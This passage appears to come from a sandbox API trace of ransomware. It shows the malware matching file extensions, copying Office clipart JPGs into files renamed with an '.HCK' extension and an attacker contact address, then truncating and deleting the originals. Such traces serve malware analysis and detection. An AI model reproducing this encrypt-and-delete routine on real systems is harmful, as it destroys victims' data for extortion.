(lpString1=".rar", lpString2=".JPG") returned 1 [0177.858] lstrlenW (lpString=".bz2") returned 4 [0177.858] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString=".7z") returned 3 [0177.858] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".dbf") returned 4 [0177.858] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".1cd") returned 4 [0177.858] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".jpg") returned 4 [0177.858] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.858] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.858] lstrlenW (lpString="J0382959.JPG") returned 12 [0177.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.897] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=85898) returned 1 [0177.897] CloseHandle (hObject=0x39c) returned 1 [0177.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg")) returned 0x220 [0177.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0177.906] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.906] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.909] GetLastError () returned 0x0 [0177.909] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x14f8a, lpOverlapped=0x0) returned 1 [0177.912] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x14f90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x14f90, lpOverlapped=0x0) returned 1 [0177.913] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.913] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.913] SetEndOfFile (hFile=0x370) returned 1 [0177.914] CloseHandle (hObject=0x370) returned 1 [0177.914] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.914] SetEndOfFile (hFile=0x3a4) returned 1 [0177.917] CloseHandle (hObject=0x3a4) returned 1 [0177.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg")) returned 1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.925] lstrlenW (lpString=".doc") returned 4 [0177.925] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.925] lstrlenW (lpString=".docx") returned 5 [0177.925] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0177.925] lstrlenW (lpString=".pdf") returned 4 [0177.925] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.925] lstrlenW (lpString=".xls") returned 4 [0177.925] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.925] lstrlenW (lpString=".xlsx") returned 5 [0177.925] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0177.925] lstrlenW (lpString=".ppt") returned 4 [0177.925] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.925] lstrlenW (lpString=".zip") returned 4 [0177.925] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".rar") returned 4 [0177.926] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".bz2") returned 4 [0177.926] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString=".7z") returned 3 [0177.926] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".dbf") returned 4 [0177.926] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".1cd") returned 4 [0177.926] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".jpg") returned 4 [0177.926] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".doc") returned 4 [0177.926] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString=".docx") returned 5 [0177.926] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0177.926] lstrlenW (lpString=".pdf") returned 4 [0177.926] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".xls") returned 4 [0177.926] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".xlsx") returned 5 [0177.926] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0177.926] lstrlenW (lpString=".ppt") returned 4 [0177.926] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".zip") returned 4 [0177.926] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".rar") returned 4 [0177.926] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.926] lstrlenW (lpString=".bz2") returned 4 [0177.926] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString=".7z") returned 3 [0177.926] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".dbf") returned 4 [0177.926] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.926] lstrlenW (lpString=".1cd") returned 4 [0177.926] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG") returned 68 [0177.927] lstrlenW (lpString=".jpg") returned 4 [0177.927] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.927] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.927] lstrlenW (lpString="J0382963.JPG") returned 12 [0177.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.935] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=97774) returned 1 [0177.935] CloseHandle (hObject=0x370) returned 1 [0177.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg")) returned 0x220 [0177.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0177.937] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.937] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0177.941] GetLastError () returned 0x0 [0177.941] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x17dee, lpOverlapped=0x0) returned 1 [0177.946] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x17df0, lpOverlapped=0x0) returned 1 [0177.947] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.947] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.947] SetEndOfFile (hFile=0x3a4) returned 1 [0177.948] CloseHandle (hObject=0x3a4) returned 1 [0177.949] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.949] SetEndOfFile (hFile=0x300) returned 1 [0177.950] CloseHandle (hObject=0x300) returned 1 [0177.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg")) returned 1 [0177.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.951] lstrlenW (lpString=".doc") returned 4 [0177.951] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.951] lstrlenW (lpString=".docx") returned 5 [0177.951] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.952] lstrlenW (lpString=".pdf") returned 4 [0177.952] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString=".xls") returned 4 [0177.952] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString=".xlsx") returned 5 [0177.952] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.952] lstrlenW (lpString=".ppt") returned 4 [0177.952] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString=".zip") returned 4 [0177.952] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString=".rar") returned 4 [0177.952] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString=".bz2") returned 4 [0177.952] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.952] lstrlenW (lpString=".7z") returned 3 [0177.952] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString=".dbf") returned 4 [0177.952] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString=".1cd") returned 4 [0177.952] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString=".jpg") returned 4 [0177.952] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.952] lstrlenW (lpString=".doc") returned 4 [0177.952] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.952] lstrlenW (lpString=".docx") returned 5 [0177.952] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.952] lstrlenW (lpString=".pdf") returned 4 [0177.952] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.952] lstrlenW (lpString=".xls") returned 4 [0177.952] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.953] lstrlenW (lpString=".xlsx") returned 5 [0177.953] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.953] lstrlenW (lpString=".ppt") returned 4 [0177.953] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.953] lstrlenW (lpString=".zip") returned 4 [0177.953] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.953] lstrlenW (lpString=".rar") returned 4 [0177.953] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.953] lstrlenW (lpString=".bz2") returned 4 [0177.953] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.953] lstrlenW (lpString=".7z") returned 3 [0177.953] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.953] lstrlenW (lpString=".dbf") returned 4 [0177.953] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.953] lstrlenW (lpString=".1cd") returned 4 [0177.953] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG") returned 68 [0177.953] lstrlenW (lpString=".jpg") returned 4 [0177.953] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.953] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.953] lstrlenW (lpString="J0382968.JPG") returned 12 [0177.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0177.956] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=112479) returned 1 [0177.956] CloseHandle (hObject=0x2fc) returned 1 [0177.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg")) returned 0x220 [0177.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.969] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0177.971] GetLastError () returned 0x0 [0177.971] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1b75f, lpOverlapped=0x0) returned 1 [0177.975] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1b760, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1b760, lpOverlapped=0x0) returned 1 [0177.977] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.977] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.977] SetEndOfFile (hFile=0x2fc) returned 1 [0177.980] CloseHandle (hObject=0x2fc) returned 1 [0177.981] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.981] SetEndOfFile (hFile=0x370) returned 1 [0177.984] CloseHandle (hObject=0x370) returned 1 [0177.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg")) returned 1 [0177.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.985] lstrlenW (lpString=".doc") returned 4 [0177.985] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.985] lstrlenW (lpString=".docx") returned 5 [0177.985] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.985] lstrlenW (lpString=".pdf") returned 4 [0177.985] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.985] lstrlenW (lpString=".xls") returned 4 [0177.985] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.985] lstrlenW (lpString=".xlsx") returned 5 [0177.985] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.985] lstrlenW (lpString=".ppt") returned 4 [0177.985] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.985] lstrlenW (lpString=".zip") returned 4 [0177.985] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.985] lstrlenW (lpString=".rar") returned 4 [0177.985] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString=".bz2") returned 4 [0177.986] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString=".7z") returned 3 [0177.986] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".dbf") returned 4 [0177.986] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".1cd") returned 4 [0177.986] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".jpg") returned 4 [0177.986] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".doc") returned 4 [0177.986] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString=".docx") returned 5 [0177.986] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.986] lstrlenW (lpString=".pdf") returned 4 [0177.986] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString=".xls") returned 4 [0177.986] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString=".xlsx") returned 5 [0177.986] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.986] lstrlenW (lpString=".ppt") returned 4 [0177.986] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".zip") returned 4 [0177.986] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString=".rar") returned 4 [0177.986] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.986] lstrlenW (lpString=".bz2") returned 4 [0177.986] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString=".7z") returned 3 [0177.986] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG") returned 68 [0177.986] lstrlenW (lpString=".dbf") returned 4 [0177.986] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.986] lstrlenW (lpString="C:\\Program 